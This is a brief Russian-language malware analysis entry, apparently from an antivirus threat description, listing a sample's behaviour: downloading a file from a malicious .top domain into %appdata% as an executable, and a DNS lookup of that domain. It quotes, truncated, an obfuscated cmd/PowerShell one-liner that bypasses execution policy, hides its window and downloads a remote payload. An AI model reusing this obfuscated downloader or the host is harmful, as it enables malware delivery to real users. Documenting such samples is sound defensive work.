Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pO^w^ER^Sh^el^L^.^eX^E -eXeC^UT^ion^pO^L^I^c^Y b^Y^pa^SS ^-^n^oPr^O^Fi^LE -WIND^OwS^T^y^Le^ HIdde^n (nEW^-O^bJEc^t ^Sys^t^em.NEt.we^b^C^LIeNT^).DoWn^LO^ad^Fil^e('http://www.zoerp...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pO^w^ER^Sh^el^L^.^eX^E -eXeC^UT^ion^pO^L^I^c^Y b^Y^pa^SS ^-^n^oPr^O^Fi^LE -WIND^OwS^T^y^Le^ HIdde^n (nEW^-O^bJEc^t ^Sys^t^em.NEt.we^b^C^LIeNT^).DoWn^LO^ad^Fil^e('http://www.zoerp...' (со скрытым окном)
